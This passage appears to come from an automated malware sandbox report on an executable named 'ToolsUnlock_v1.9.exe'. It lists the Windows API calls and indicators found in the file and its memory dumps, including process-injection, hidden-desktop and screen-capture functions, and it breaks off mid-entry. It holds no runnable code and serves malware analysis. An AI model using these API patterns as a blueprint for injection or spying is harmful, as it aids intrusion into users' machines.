"ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter AddVectoredContinueHandler (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter NtWaitForSingleObject (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter RtlGetNtVersionNumbers (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter wine_get_version (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006184) "ToolsUnlock_v1.9.exe" called "GetProcAddress" with a parameter lstrcmpW (UID: 00000000-00006184)38:T5c0,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "CreateFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCreateFileMappingW" (Indicator: "CreateFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procCreateFileW" (Indicator: "CreateFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procCreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procCreateFileW" (Indicator: "CreateFile"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")39:T960c,Found reference to API (Indicator: "SetErrorMode"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "CreateFileA"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SetThreadContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SetWaitableTimer"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "ResumeThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SetEvent"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SuspendThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SwitchToThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "ExitProcess"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "WriteFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetProcAddress"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetStdHandle"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetThreadContext"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "CreateEventA"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "CreateThread"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "VirtualFree"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "VirtualQuery"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "CloseHandle"; File: "ToolsUnlock_v1.9.exe") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006184.00000000.136838.00080000.00000004.mdmp, 00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CryptUnprotectMemory"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CryptProtectMemory"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "NtQueryObject"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "EnumProcessModules"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetModuleBaseNameA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "K32EnumProcessModules"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "K32GetModuleBaseNameA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "NtQuerySystemInformation"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "NtQueryInformationProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "NtTerminateProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RtlInitUnicodeString"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ZwMapViewOfSection"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "NtOpenThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "NtQueueApcThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "NtCreateFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FindWindowExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetWindowTextA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "wvsprintfA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "OpenDesktopA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateDesktopA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateDCA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetDIBits"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualFreeEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualProtectEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "VirtualQueryEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateRemoteThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "OpenThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "SuspendThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "DebugActiveProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "DebugActiveProcessStop"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "WaitForDebugEvent"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ContinueDebugEvent"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "QueueUserAPC"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 